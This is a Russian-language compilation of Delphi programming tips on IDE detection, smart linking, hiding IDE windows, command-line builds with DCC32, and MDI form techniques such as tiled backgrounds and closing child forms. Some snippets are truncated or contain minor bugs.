К заголовку




" Работа с IDE из программы
Вот подпрограммы, работающие у меня в связке D1 и Win 3.1x:

function LaunchedFromDelphiIDE: Boolean;
{----------------------------------------------------------------}
{ Осуществляем проверку запущенности приложения из-под Delphi    }
{ IDE. Идея взята из сообщения в Delphi-Talk от Ed Salgado       }
{ из Eminent Domain Software.                                    }
{----------------------------------------------------------------}

begin
  LaunchedFromDelphiIDE := Bool(PrefixSeg) {т.е. не DLL} and
  Bool(PWordArray(MemL[DSeg: 36])^[8]);
end; {LaunchedFromDelphiIDE}

function DelphiLoaded: Boolean;
{----------------------------------------------------------------}
{ Проверяем, загружена ли Delphi. Дает правильные результаты     }
{  - если вызывающее приложение запущено отдельно, или из-под IDE}
{  - если Delphi имеет открытый проект                           }
{  - если Delphi минимизирована.                                 }
{ Автор идеи Wade Tatman (wtatman@onramp.net).                   }
{----------------------------------------------------------------}

begin
  DelphiLoaded := false;
  if WindowExists('TPropertyInspector', 'Object Inspector') then
    if WindowExists('TMenuBuilder', 'Menu Designer') then
      if WindowExists('TAppBuilder', '(AnyName)') then
        if WindowExists('TApplication', 'Delphi') then
          if WindowExists('TAlignPalette', 'Align') then
            DelphiLoaded := true;
end; {DelphiLoaded}

function DelphiInstalled: Boolean;
{----------------------------------------------------------------}
{ Проверяем наличие Delphi.ini, ищем в нем путь к Библиотеке     }
{ Компонентов, после чего проверяем ее наличие по этому пути.    }
{----------------------------------------------------------------}

var
  IniFile: string;
begin
  DelphiInstalled := false;
  IniFile := WindowsDirectory + '\Delphi.ini';
  if FileExists(IniFile) then
    if FileExists(GetIni(IniFile, 'Library', 'ComponentLibrary')) then
      DelphiInstalled := true;
end; {DelphiInstalled}

Я уверен, что один из приведенных выше методов вам поможет.Последние две
  подпрограммы используют некоторые другие инкапсуляции Windows API и классов
  Delphi, и они определены следующим образом:

function WindowExists(WindowClass, WindowName: string): Boolean;
{----------------------------------------------------------------}
{ С помощью паскалевских строк проверяем наличие определенного   }
{ окна. Для поиска только имени окна (WindowName), используем    }
{ WindowClass '(AnyClass)'; для поиска только класса окна        }
{ (WindowClass), используем WindowName '(AnyName)'.              }
{----------------------------------------------------------------}

var
  PWindowClass, PWindowName: PChar;
  AWindowClass, AWindowName: array[0..63] of Char;
begin
  if WindowClass = '(AnyClass)' then
    PWindowClass := nil
  else
    PWindowClass := StrPCopy(PChar(@AWindowClass), WindowClass);

  if WindowName = '(AnyName)' then
    PWindowName := nil
  else
    PWindowName := StrPCopy(PChar(@AWindowName), WindowName);

  if FindWindow(PWindowClass, PWindowName) <> 0 then
    WindowExists := true
  else
    WindowExists := false;
end; {WindowExists}

function WindowsDirectory: string;
{----------------------------------------------------------------}
{ Возвращаем путь к каталогу Windows (без обратной косой черты)  }
{----------------------------------------------------------------}

const
  BufferSize = 144;
var
  ABuffer: array[0..BufferSize] of Char;
begin
  if GetWindowsDirectory(PChar(@ABuffer), BufferSize) = 0 then
    WindowsDirectory := ''
  else
    WindowsDirectory := StrPas(PChar(@ABuffer));
end; {WindowsDirectory}

function GetIni(const IniFile, Section, Entry: string): string;
{----------------------------------------------------------------}
{ Получаем инициализационную 'profile' строку из определенного   }
{ пункта (Entry) определенной секции [Section] определенного     }
{ INI-файла (дополняем '.ini', если отсутствует). Возвращаем     }
{ нулевую строку, если IniFile, Section или Entry не найден.     }
{----------------------------------------------------------------}

var
  IniFileVar: string;
  IniFileObj: TIniFile;
begin
  if StrEndsWith(IniFile, '.ini') then
    IniFileVar := IniFile
  else
    IniFileVar := IniFile + '.ini';
  IniFileObj := TIniFile.Create(IniFileVar);
  GetIni := IniFileObj.ReadString(Section, Entry, '');
  IniFileObj.Free;
end; {GetIni}
К заголовку




" Связывание функций
Delphi содержит очень умный компоновщик, который исключает добавление функций без внешних ссылок в ваш конечный exe-файл.

Это действительно лучшее решение, чем то, которое предлагают (старые сведения, В.О.) все C-компоновщики,
компонующие все функции данного модуля (кодового файла), если хотя бы на одну из них имеется внешняя ссылка.

...я тоже так хотел. Но одна из моих форм имела "uses dll_link", где dll_link являлся компонентом, который
использовал dll. Хотя компонент и был удален из формы, программа сбоила, если на машине отсутствовала нужная
DLL. Естественно, компоновщик удалил весь неиспользуемый код, но почему проблема осталась? Удаление
"uses dll_link" решило проблему, и уменьшило размер exe на 100k. Очевидно, компоновщик не может это удалить сам.

Я так полагаю, что "умный" компоновщик ("Smart Linking") недостаточно умен для удаления ссылок на модули, в
которых нет функций со внешними ссылками. Может, он делает это намеренно, но пока не ясно почему.

...я тоже задавался этим вопросом: почему, удаляя ссылки на ненужные мне модули, которые Delphi устанавливает
по-умолчанию, размер выходного файла уменьшается - почему??? Что делает в это время умный оптимизатор - компилятор?

Я провел тест опции Delphi "Smart Linking" (умное связывание). Я создал пустое приложение, одно окно, ничего
более. В обработчик события FormCreate я поместил две переменные и проинициализировал их: первая представляла
собой строку, куда я поместил 'Привет!', вторая была Hwnd, куторой я присвоил дескриптор ("handle").

Я создал второй модуль. В этот модуль я включил ссылки на SysUtils, WinTypes и WinProcs. Я создал функцию с
именем "This". "This" получает на входе два параметра: Hwnd и String. Она преобразует строку к типу C-строки, и
вызывает MessageBox. Я захотел сделать так, чтобы функция "This" все-таки не была тривиальной (ну хорошо, она тривиальная).

Важным является то, что у меня в моей программе нет ни одного места, откуда бы я вызывал "This". В список модуля
формы "uses" я поместил ссылку на второй модуль (где расположена функция "This"), но при этом функция "This" нигде не вызывается.

Я собрал приложение, и запомнил размер exe-файла.

Затем я создал обработчик события FormCreate. В нем я вызывал "This" с переменными, инициализированными ранее
(строка и дескриптор окна).

Я собрал приложение, и запомнил размер exe-файла.

Во втором случае (с вызовом функции "This") exe-файл получился больше на 300 байт. Из этого следует, что
неиспользуемые функции не линкуются к exe-файлу.

Опция "Optimize for size and load time" (оптимизировать для размера и времени загрузки) весьма отличается от
пции "smart-linking" (умное связывание). Очевидно, большинство компоновщиков сами по себе являются "умными машинками".
Их технологию работы сложно понять, и это является самым строгим секретом фирмы. Некоторые теоретические выкладки можно
почерпнуть из статьи, напечатанной в журнале MicroSoft Systems Journal, Июль 1993, статья называется
"Liposuction your Corpulent Executables and Remove Excess Fat". Ее можно также найти на CD MSDN, если он у
вас, конечно, имеется. По-крайней мере, в статье есть интересный раздел, посвященный технологии выравнивания
("alignment"), которую можно сравнить с проблемой выбора размера кластера в момент создания раздела на диске.
Эта технология позволяет сэкономить, или потерять свободное место на диске при большом количестве файлов.
В вопросе оптимизации существует масса мелочей. Во всяком случае, "Optimize for size and load time" выполняет
ту же работу, что и прорамма W8LOSS.EXE (расположенной в каталоге \Delphi\Bin) с вашим скомпилированным приложением.

Вам нужно помнить об одной вещи: если компоновщик настроен на "умное связывание", то он не будет запускать
приложение чтобы посмотреть, используется ли функция/процедура, или нет. В этом случае он проверяет на "возможность"
использования той или иной функции/процедуры. Я не проверял это, но, вероятно, даже в VCL наверняка существуют
методы, которые включены в ее только потому, что существует "возможность" их применения, и они "тянутся" при
компиляции в ваше приложение.

Кроме того, для подтверждения моей мысли, я просто создал приложение с одной формой, работающее с базой данных и
имевшее размер более 500Кб, после добавления к которому нескольких форм размер приложения не увеличился.

Типы не линкуются. Они используются только самим компилятором. Переменные "умным" компилятором не удаляются. Код,
расположенный в секции initialization вызывается всегда. Процесс компиляции программ Delphi состоит из двух шагов:
во-первых, компилируются все модули программы, после чего получаются двоичные промежуточные .DCU-файлы. Во-вторых,
они полностью связываются все вместе и получается .EXE-файл. Во время второго шага удаляются любые функции/процедуры
без внешних ссылок. Поэтому нет повода для беспокойства: ВСЕ функции, которые присутствуют в программе, будует
помещены в .DCU-файл, и только те из них, которые реально используются, будут упакованы в EXE. Все будет работать
именно так, как вы и ожидаете, нет никаких сюрпризов, в противном случае это связывание не будет 'smart' (умным),
и эту опцию можно не включать.
К заголовку




" Скрыть окна IDE во время проектирования
//****************************************
// Paste into AutoHideIDE.dpk
//****************************************
package AutoHideIDE;

 {$R *.res}
 {$ALIGN 8}
 {$ASSERTIONS ON}
 {$BOOLEVAL OFF}
 {$DEBUGINFO ON}
 {$EXTENDEDSYNTAX ON}
 {$IMPORTEDDATA ON}
 {$IOCHECKS ON}
 {$LOCALSYMBOLS ON}
 {$LONGSTRINGS ON}
 {$OPENSTRINGS ON}
 {$OPTIMIZATION ON}
 {$OVERFLOWCHECKS OFF}
 {$RANGECHECKS OFF}
 {$REFERENCEINFO ON}
 {$SAFEDIVIDE OFF}
 {$STACKFRAMES OFF}
 {$TYPEDADDRESS OFF}
 {$VARSTRINGCHECKS ON}
 {$WRITEABLECONST OFF}
 {$MINENUMSIZE 1}
 {$IMAGEBASE $400000}
 {$DESIGNONLY}
 {$IMPLICITBUILD OFF}

 requires
   rtl,
   vcl;
 contains
   AutoHide in 'AutoHide.pas';
 end.



 //****************************************
// Paste into AutoHide.pas
//****************************************
unit AutoHide;

 interface

 uses
   Windows, Messages, SysUtils, Classes, Controls, Forms;

 type
   TAutoHider = class(TObject)
   protected
     procedure DelphiOnMessage(var Msg: TMsg; var Handled: Boolean);
     procedure MyDockDrop(Sender: TObject; Source: TDragDockObject; X, Y: Integer);
     procedure MyDestroy(Sender: TObject);
   public
     OldDockDrop: TDockDropEvent;
     OldDestroy: TNotifyEvent;

     Delphi: TApplication;
     Bar_Top: TForm;
     Bar_Left: TForm;
     ObjInspector: TForm;
     DockHost: TForm;

     Bar_Top_Rect: TRect;
     Bar_Left_Rect: TRect;

     F_AtTop: Boolean;
     F_AtLeft: Boolean;

     procedure Init_Bar_Left;
     procedure Bar_Left_Visible(val: Boolean);
     procedure Bar_Top_Visible(Value: Boolean);
   end;

 var
   AutoHider: TAutoHider;

 implementation

 { TAutoHide }

 procedure Restore_Bar_Left;
 begin
   AutoHider.ObjInspector.OnDockDrop := nil;

   if AutoHider.DockHost <> nil then
    begin
     AutoHider.DockHost.OnDestroy := nil;
   end;
   AutoHider.Bar_Left.BoundsRect := AutoHider.Bar_Left_Rect;
 end;

 procedure Restore_Bar_Top;
 begin
   AutoHider.Bar_Top.BoundsRect := AutoHider.Bar_Top_Rect;
 end;

 procedure InitAutoHider(Value: Boolean);
 begin
   if Value then
    begin
     AutoHider.Delphi  := Application;
     AutoHider.Bar_Top := TForm(Application.FindComponent('AppBuilder'));
     if AutoHider.Bar_Top <> nil then
      begin
       AutoHider.Bar_Top_Rect := AutoHider.Bar_Top.BoundsRect;

       AutoHider.ObjInspector  := AutoHider.Bar_Top.FindComponent('PropertyInspector')
         as TForm;
       AutoHider.Bar_Left_Rect := AutoHider.ObjInspector.BoundsRect;

       AutoHider.OldDockDrop := AutoHider.ObjInspector.OnDockDrop;
       AutoHider.ObjInspector.OnDockDrop := AutoHider.MyDockDrop;

       AutoHider.DockHost := nil;
       AutoHider.Init_Bar_Left;

       AutoHider.F_AtTop          := True;
       AutoHider.F_AtLeft         := True;
       AutoHider.Delphi.OnMessage := AutoHider.DelphiOnMessage;
     end;
   end
    else
    begin
     Restore_Bar_Left;
     Restore_Bar_Top;
   end;
 end;

 procedure TAutoHider.Bar_Top_Visible(Value: Boolean);
 begin
   if Value = F_AtTop then Exit;

   if Value then
    begin
     Bar_Top.Top := 0;
     Bar_Top.Show;
   end
    else
    begin
     Bar_Top.Top := -Bar_Top.Height + 3;
   end;

   F_AtTop := Value;
 end;

 procedure TAutoHider.Bar_Left_Visible(val: Boolean);
 begin
   if val = F_AtLeft then Exit;

   if val then
    begin
     Bar_Left.Left   := 0;
     Bar_Left.Top    := 0;
     Bar_Left.Height := Screen.WorkAreaHeight;
     Bar_Left.Show;
   end
    else
    begin
     Bar_Left.Left := -Bar_Left.Width + 3;
   end;

   F_AtLeft := val;
 end;

 procedure TAutoHider.DelphiOnMessage(var Msg: TMsg; var Handled: Boolean);
 begin
   if not Delphi.Active then Exit;
   if (Msg.message = WM_LBUTTONDOWN) then Exit;

   if (Msg.message = WM_MOUSEMOVE) or (Msg.message = WM_NCMOUSEMOVE) then
    begin
     if F_AtTop then
       if Mouse.CursorPos.Y > Bar_Top.Height + 50 then
        begin
         Bar_Top_Visible(False);
       end;
     if not F_AtTop then
       if Mouse.CursorPos.Y < 3 then
        begin
         Bar_Top_Visible(True);
       end;

     if F_AtLeft then
       if (Mouse.CursorPos.x > Bar_Left.Width + 50) and (not Bar_left.Active) then
        begin
         Bar_Left_Visible(False);
       end;
     if not F_AtLeft then
       if Mouse.CursorPos.X < 3 then
        begin
         Bar_Left_Visible(True);
       end;
   end;
 end;

 procedure TAutoHider.MyDestroy(Sender: TObject);
 begin
   if Sender is TApplication then
    begin
     Bar_Top_Visible(False);
     Bar_Left_Visible(False);
   end
    else
    begin
     if Assigned(OldDestroy) then OldDestroy(Sender);
     DockHost := nil;
     Bar_Left := ObjInspector;
   end;
 end;

 procedure TAutoHider.Init_Bar_Left;
 begin
   if (Delphi.FindComponent('TabDockHostForm') as TForm) <> nil then
     DockHost := Delphi.FindComponent('TabDockHostForm') as TForm
   else if (Delphi.FindComponent('JoinDockForm') as TForm) <> nil then
     DockHost := Delphi.FindComponent('JoinDockForm') as TForm;

   if DockHost <> nil then
    begin
     DockHost.Top       := 0;
     DockHost.Height    := Screen.WorkAreaHeight;
     OldDestroy         := DockHost.OnDestroy;
     DockHost.OnDestroy := MyDestroy;
     Bar_Left           := DockHost;
   end
    else
    begin
     Bar_Left := ObjInspector;
   end;
 end;

 procedure TAutoHider.MyDockDrop(Sender: TObject; Source: TDragDockObject; X,
   Y: Integer);
 begin
   if Assigned(OldDockDrop) then  OldDockDrop(Sender, Source, X, Y);
   Init_Bar_Left;
 end;

 initialization
   AutoHider := TAutoHider.Create;
   InitAutoHider(True);

 finalization
   InitAutoHider(False);
   AutoHider.Delphi.OnMessage := nil;
   AutoHider.Free;
 end.
К заголовку




" Скрыть свойства в IDE
unit HideAboutProps;

 // Declare a Property-Category-Class
// Eine Eigenschaftskategorie-Klasse deklarieren

type
   TAboutPropCategory = class(TPropertyCategory)
     // Give it a name and a description
    // Namen und Beschreibung vergeben
    class function Name: string; override;
     class function Description: string; override;
   end;

 procedure Register;

 implementation

 // Register this new Property Category in the Delphi-IDE
// Diese neue Eigenschaftskategory in Delphi registrieren
procedure Register;
 begin
   RegisterPropertyInCathegory(TAboutPropCategory, 'About');
 end;

 // Implementation of the two class functions from above
// Den beiden Klasse-Funktionen noch eine Implementation geben
class function TAboutPropCategory.Name: string;
 begin
   Result := 'About';
 end;

 class function TAboutPropCategory.Description: string;
 begin
   // As you want it ...
  Result := 'Gives information about the author.';
   // Wie man's mochte ...
  Result := 'Enthalt Informationen uber den Autor.';
 end;

 // To use this new category, you only have to include this unit in a package and recompile it.
// If you want, you now can hide all properties called 'About' from being displayed
// in the object inspector.


// Um diese neue Kategorie zu nutzen, muss man die Unit nur in ein Package einbinden
// und dieses danach neu compilieren.
// Wenn man mochte, kann man nun alle Eigenschaften, die 'About' hei?en, verbergen.
К заголовку




" Чтобы скомпилировать проект Delphi без IDE можно использовать следующий batch файл
Um ein Delphi-Projekt ohne die IDE aufzurufen zu kompilieren, kann man folgende Batch-Datei verwenden.
To build a delphi project without opening the IDE, use the following batch file.
==================================================================
@Echo off
Echo ******* Building *******

if exist .cfg ren .cfg .cf~
if exist DCC32.cfg ren DCC32.cfg DCC32.cf~
rem #0Make console target, unless overridden later
echo -M -CC >> DCC32.cfg
echo -$A+ >> DCC32.cfg
echo -$B- >> DCC32.cfg
echo -$C+ >> DCC32.cfg
echo -$D- >> DCC32.cfg
echo -$G+ >> DCC32.cfg
echo -$H+ >> DCC32.cfg
echo -$I+ >> DCC32.cfg
echo -$J- >> DCC32.cfg
echo -$L- >> DCC32.cfg
echo -$M- >> DCC32.cfg
echo -$O+ >> DCC32.cfg
echo -$P+ >> DCC32.cfg
echo -$Q- >> DCC32.cfg
echo -$R- >> DCC32.cfg
echo -$T- >> DCC32.cfg
echo -$U- >> DCC32.cfg
echo -$V+ >> DCC32.cfg
echo -$W- >> DCC32.cfg
echo -$X+ >> DCC32.cfg
echo -$Y2 >> DCC32.cfg
rem #0ShowHints
echo -H >> DCC32.cfg
rem #0ShowWarnings
echo -W >> DCC32.cfg
rem #0ImageBase
echo -K$41000000 >> DCC32.cfg
rem #0OutputDir
echo -E"%OpusTools%" >> DCC32.cfg
rem #0OutputDir
echo -LN"%OpusTools%" >> DCC32.cfg
rem #0Packages
echo -LUvcl50;vclx50 >> DCC32.cfg
rem #0SearchPath
echo -U"" >> DCC32.cfg
rem #0SearchPath
echo -R"" >> DCC32.cfg
rem #0SearchPath
echo -O"" >> DCC32.cfg
rem #0SearchPath
echo -I"" >> DCC32.cfg
rem #0BuildAll
echo -B >> DCC32.cfg
rem #0Min/MaxStackSize
echo -M16384,1048576 >> DCC32.cfg

"\Bin\DCC32.exe" .dpr %1 %2 %3 %4 %5 %6 %7 %8 %9
if errorlevel 1 goto GotError
goto Finish

rem #0Got an error. Wait for user input
:GotError
echo Error!
pause

:Finish
del DCC32.cfg
if exist DCC32.cf~ ren DCC32.cf~ DCC32.cfg
if exist .cf~ ren .cf~ .cfg
Echo ******* Done. *******

:End
==================================================================
Nun mьssen nur noch folgende Anpassungen gemacht werden:
Now just adjust the following things:
=> Projekt Datei/ Project file
Ex / Bsp: Project1
=> Delphi Pfad/ Delphi path
Ex / Bsp: C:\Programme\Borland\Delphi5
=> Suchpfad fьr Units/ Search path for units
Ex / Bsp: "C:\Dev\Lib;C:\Dev\Lib\Base"
К заголовку




" Выбор дочерних MDI-окон с помощью набора закладок TabSet
По всей видимости, дочерние MDI-окна не отвечают на те же сообщения Windows, которые обрабатываются другими окнами.
Ниже приведен способ выбора определенного дочернего MDI-окна таким образом, чтобы оно стало активным. Я читаю значение
из компонента TINIFile и активизирую определенное дочернее MDI-окно:

{
Делаем активным дочернее MDI-окно. Мы должны
послать сообщение Windows API, поскольку
дочернее MDI-окно может реагировать только
на "аварийный" набор системных сообщений.
}
i := ReadInteger( 'Main', 'ActiveMDIChild', -1 )
IF (i>=0) AND (iК заголовку




" Вызов функций из различных дочерних MDI окон
var
  MyMDIForm: TForm;
begin
  MyMDIForm:=ActiveMDIChild;
  MyMDIForm.DefaultSize;
end;


или

TChild(ActiveMDIChild).SomeMethod;


К заголовку




" Задать цвет фона для MDI-формы
*******************************************************************************
 *
 *  Hintergrundfarbe eines MDI-Formulars setzen ohne die Farbe der darauf
 *  liegenden Objekte wie TGroupBox oder TPageControl zu verandern.
 *
 *  Setting the Background color of a MDI Form without changing the color
 *  of overlayed objects like TGroupBox or TPageControl.
 *
 ******************************************************************************}

 unit Unit1;

 interface

 uses
   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
   Dialogs;

 type
   TForm1 = class(TForm)
   private
     FClientInstance: TFarProc;
     FPrevClientProc: TFarProc;
     BkBrush: HBRUSH;
     procedure ClientWndProc(var Message: TMessage);
   public
     constructor Create(AOwner: TComponent); override;
     destructor Destroy; override;
   end;

 implementation

 {$R *.dfm}

 constructor TForm1.Create(AOwner: TComponent);
 begin
   inherited;
   BkBrush := CreateSolidBrush(clGray);
   FClientInstance := Classes.MakeObjectInstance(ClientWndProc);
   FPrevClientProc := Pointer(GetWindowLong(ClientHandle, GWL_WNDPROC));
   SetWindowLong(ClientHandle, GWL_WNDPROC, Longint(FClientInstance));
 end;

 destructor TForm1.Destroy;
 begin
   DeleteObject(BkBrush);
   inherited;
 end;

 procedure TForm1.ClientWndProc(var Message: TMessage);
 var
   DC: HDC;
   BrushOld: HBRUSH;
 begin
   with Message do
    begin
     case Msg of
       WM_ERASEBKGND:
         begin
           DC := TWMEraseBkGnd(Message).DC;
           BrushOld := SelectObject(DC, BkBrush);
           FillRect(DC, ClientRect, BkBrush);
           SelectObject(DC, BrushOld);
           Result := 1;
         end;
       else
         Result := CallWindowProc(FPrevClientProc, ClientHandle, Msg, wParam, lParam);
     end;
   end;
 end;

 end.
К заголовку




" Закрытие дочерней формы
unit Child;

 // Have you noticed that when you try to close a MDIChild form
// the form minimizes but doesn't disappear from your Main form
// client area?
//
// With this tip you can learn how to really close the MDI child
// form and free the memory occupied by the form


interface

 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

 type
   TMDIChildForm = class(TForm)
     procedure FormClose(Sender: TObject; var Action: TCloseAction);
   private
     { Private declarations }
   public
     { Public declarations }
   end;

 var
   MDIChildForm: TMDIChildForm;

 implementation

 {$R *.DFM}

 procedure TMDIChildForm.FormClose(Sender: TObject;
   var Action: TCloseAction);
 begin
   // This line of code frees memory and closes the form
  Action := caFree;
 end;

 end.
К заголовку




" Заполнение изображением MDI-формы
procedure TForm.OnPaint(Sender: TObject);

  procedure Tile(c: TCanvas; b: TBitMap);
  var
    x, y, h, w, i, j: integer;
  begin
    with b do
    begin
      h := b.height;
      w := b.width;
    end;
    y := 0;
    with c.Cliprect do
    begin
      i := bottom - top - 1; //высота
      j := right - left - 1; //ширина
    end;
    while y < i do
    begin
      x := 0;
      while x < j do
      begin
        c.draw(x, y, b);
        inc(x, w);
      end;
      inc(y, h);
    end;
  end;

begin
  if Sender is TForm then
    Tile(TForm(Sender).Canvas, fTileWith);
end;


------------------------------

Несколько людей уже спрашивали, как залить фон главной MDI-формы повторяющимся изображением. Ключевым моментом здесь
является работа с дескриптором окна MDI-клиента (свойство ClientHandle) и заполнение изображением окно клиента в ответ
на сообщение WM_ERASEBKGND. Тем не менее здесь существует пара проблем: прокрутка главного окна и перемещение дочернего
MDI-окна за пределы экрана портят фон, и закрашивание за иконками дочерних окон не происходит.

Ну наконец-то! Похоже я нашел как решить обе проблемы. Вот код для тех, кому все это интересно. Я начинаю с проблемы
дочерних форм, ниже код для решения проблемы с главной формой (модули с именами MDIWAL2U.PAS и MDIWAL1U.PAS).
На главной форме расположен компонент TImage с именем Image1, содержащий изображение для заливки фона.

...
private
{ Private declarations }

procedure WMIconEraseBkgnd(var Message: TWMIconEraseBkgnd);
  message WM_ICONERASEBKGND;
...

USES MdiWal1u;

procedure TForm2.WMIconEraseBkgnd(var Message: TWMIconEraseBkgnd);
begin
  TForm1(Application.Mainform).PaintUnderIcon(Self, Message.DC);
  Message.Result := 0;
end;



...
{ Private declarations }
bmW, bmH: Integer;
FClientInstance,
FPrevClientProc: TFarProc;

procedure ClientWndProc(var Message: TMessage);
public
    procedure PaintUnderIcon(F: TForm; D: hDC);
    ...
      procedure TForm1.PaintUnderIcon(F: TForm; D: hDC);
    var

      DestR, WndR: TRect;
      Ro, Co,
        xOfs, yOfs,
        xNum, yNum: Integer;
    begin

      {вычисляем необходимое число изображений для заливки D}
      GetClipBox(D, DestR);
      with DestR do
      begin
        xNum := Succ((Right - Left) div bmW);
        yNum := Succ((Bottom - Top) div bmW);
      end;
      {вычисление смещения изображения в D}
      GetWindowRect(F.Handle, WndR);
      with ScreenToClient(WndR.TopLeft) do
      begin
        xOfs := X mod bmW;
        yOfs := Y mod bmH;
      end;
      for Ro := 0 to xNum do
        for Co := 0 to yNum do
          BitBlt(D, Co * bmW - xOfs, Ro * bmH - Yofs, bmW, bmH,
            Image1.Picture.Bitmap.Canvas.Handle,
            0, 0, SRCCOPY);
    end;

    procedure TForm1.ClientWndProc(var Message: TMessage);
    var
      Ro, Co: Word;
    begin

      with Message do
        case Msg of
          WM_ERASEBKGND:
            begin
              for Ro := 0 to ClientHeight div bmH do
                for Co := 0 to ClientWIDTH div bmW do
                  BitBlt(TWMEraseBkGnd(Message).DC,
                    Co * bmW, Ro * bmH, bmW, bmH,
                    Image1.Picture.Bitmap.Canvas.Handle,
                    0, 0, SRCCOPY);
              Result := 1;
            end;
          WM_VSCROLL,
            WM_HSCROLL:
            begin
              Result := CallWindowProc(FPrevClientProc,
                ClientHandle, Msg, wParam, lParam);
              InvalidateRect(ClientHandle, nil, True);
            end;
        else
          Result := CallWindowProc(FPrevClientProc,
            ClientHandle, Msg, wParam, lParam);
        end;
    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin

      bmW := Image1.Picture.Width;
      bmH := Image1.Picture.Height;
      FClientInstance := MakeObjectInstance(ClientWndProc);
      FPrevClientProc := Pointer(
        GetWindowLong(ClientHandle, GWL_WNDPROC));
      SetWindowLong(ClientHandle, GWL_WNDPROC,
        LongInt(FClientInstance));
    end;
-----------------------------------------------------

В разделе Заполнение изображением MDI-формы повторяющимся изображением. Я нашел (Copyright не мой а из книжки) более простой способ.

...
private
  OutCanvas: TCanvas;
  OldWinProc, NewWinProc: Pointer;

procedure NewWinProcedure(var Msg: TMessage);
...

procedure TMainForm.FormCreate(Sender: TObject);
begin
  NewWinProc := MakeObjectInstance(NewWinProcedure);
  OldWinProc := Pointer(SetWindowLong(ClientHandle,
    gwl_WndProc, Cardinal(NewWinProc)));
  OutCanvas := TCanvas.Create;
end;

procedure TMainForm.NewWinProcedure(var Msg: TMessage);
var
  BmpWidth, BmpHeight: Integer;
  I, J: Integer;
begin
  // default processing first
  Msg.Result := CallWindowProc(OldWinProc,
    ClientHandle, Msg.Msg, Msg.wParam, Msg.lParam);

  // handle background repaint
  if Msg.Msg = wm_EraseBkgnd then
  begin
    BmpWidth := MainForm.Image1.Width;
    BmpHeight := MainForm.Image1.Height;
    if (BmpWidth <> 0) and (BmpHeight <> 0) then
    begin
      OutCanvas.Handle := Msg.wParam;
      for I := 0 to MainForm.ClientWidth div BmpWidth do
        for J := 0 to MainForm.ClientHeight div BmpHeight do
          OutCanvas.Draw(I * BmpWidth, J * BmpHeight,
            MainForm.Image1.Picture.Graphic);
    end;
  end;
end;

procedure TMainForm.FormDestroy(Sender: TObject);
begin
  OutCanvas.Free;
end;
---------------------------------------


type
  .... = class(TForm)
    ....
      procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    ....
    private
    FHBrush: HBRUSH;
    FCover: TBitmap;
    FNewClientInstance: TFarProc;
    FOldClientInstance: TFarProc;
    procedure NewClientWndProc(var Message: TMessage);
    ....
    protected
    ....
      procedure CreateWnd; override;
    ....
  end;

  .....

implementation

{$R myRes.res} //pесуpс с битмапом фона

procedure.FormCreate(...);
  var
  LogBrush: TLogbrush;
begin
  FCover := TBitmap.Create;
  FCover.LoadFromResourceName(hinstance, 'BMPCOVER');
  with LogBrush do
  begin
    lbStyle := BS_PATTERN;
    lbHatch := FCover.Handle;
  end;
  FHBrush := CreateBrushIndirect(Logbrush);
end;

  procedure.FormDestroy(...);
    begin
      DeleteObject(FHBrush);
      FCover.Free;
    end;

    procedure.CreateWnd;
    begin
      inherited CreateWnd;
      if (ClientHandle <> 0) then
      begin
        if NewStyleControls then
          SetWindowLong(ClientHandle, GWL_EXSTYLE, WS_EX_CLIENTEDGE or
            GetWindowLong(ClientHandle, GWL_EXSTYLE));

        FNewClientInstance := MakeObjectInstance(NewClientWndProc);
        FOldClientInstance := pointer(GetWindowLong(ClientHandle, GWL_WNDPROC));
        SetWindowLong(ClientHandle, GWL_WNDPROC, longint(FNewClientInstance));
      end;
    end;

    procedure.NewClientWndProc(var Message: TMessage);

      procedure Default;
      begin
        with Message do
          Result := CallWindowProc(FOldClientInstance, ClientHandle, Msg,
            wParam,
            lParam);
      end;

    begin
      with Message do
      begin
        case Msg of
          WM_ERASEBKGND:
            begin
              FillRect(TWMEraseBkGnd(Message).DC, ClientRect, FHBrush);
              Result := 1;
            end;
        else
          Default;
        end;
      end;
    end;


К заголовку




" Каждую дочернюю форму заставить полностью заполнять область главной
  Каждую дочернюю форму заставить полностью заполнять область главной

unit Unit1;

 interface

 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

 type
   TMDIForm = class(TForm)
   private
     { Private declarations }
     FMainWindowClientCoordinates: TRect;
     procedure SetMainWindowClientCoordinates(const Value: TRect);
     procedure NewChild(Sender: TObject);
   public
     { Public declarations }
     // property used to read MainForm client coordinates
    property MainWindowClientCoordinates: TRect
        read FMainWindowClientCoordinates write SetMainWindowClientCoordinates;
   end;

 var
   MDIForm: TMDIForm; // Main form, property "formStyle" has to be fsMdiForm

implementation

 {$R *.DFM}

 uses
   Child; // Defines TMDIchild class, property "formStyle" has to be fsMdiChild

procedure TMDIForm.SetMainWindowClientCoordinates(const Value: TRect);
 begin
   FMainWindowClientCoordinates := Value;
 end;

 procedure TMDIForm.SetMainWindowCoordinates(const Value: TRect);
 begin
   FMainWindowCoordinates := Value;
 end;

 procedure TMDIForm.FormShow(Sender: TObject);
 begin
   // Reads MDIForm client coordinates
  Windows.GetClientRect(ClientHandle, fMainWindowClientCoordinates);
 end;

 procedure TMDIForm.NewChild(Sender: TObject);
 var
   LocalMDIChildForm: TMDIChildForm;
 begin
   // You can execute this procedure each time you
  // create a new child, for example you can call this
  // procedure from a button
  LocalMDIChildForm := TMDIChildForm.Create(Self);
   with LocalMDIChildForm do
   begin
     Caption := 'Child Form: ' + IntToStr(MDIChildCount);
     Top     := MainWindowClientCoordinates.Top;
     Left    := MainWindowClientCoordinates.Left;
     Width   := MainWindowClientCoordinates.Right;
     Height  := MainWindowClientCoordinates.Bottom;
     Show;
   end; // with ...
end;

 end.


К заголовку




" Как сделать MDI-приложение, где сливаются меню дочернего и главного окна, и полосы инструментов

procedure TMainForm.SetBands(AControls: array of TWinControl;
ABreaks: array of boolean);
var
  i: integer;
begin
  with CoolBar do
  begin
    for i:=0 to High(AControls) do
    begin
      if Bands.Count=succ(i) then
        TCoolBand.Create(Bands);
      with Bands[succ(i)] do
      begin
        if Assigned(Control) then
          Control.Hide;
        MinHeight:=AControls[i].Height;
        Break:=ABreaks[i];
        Control:=AControls[i];
        Control.Show;
        Visible:=true;
      end
    end;
    for i:=High(AControls)+2 to pred(Bands.Count) do
      Bands[i].Free
  end
end;


и

procedure TMsgForm.FormActivate(Sender: TObject);
begin
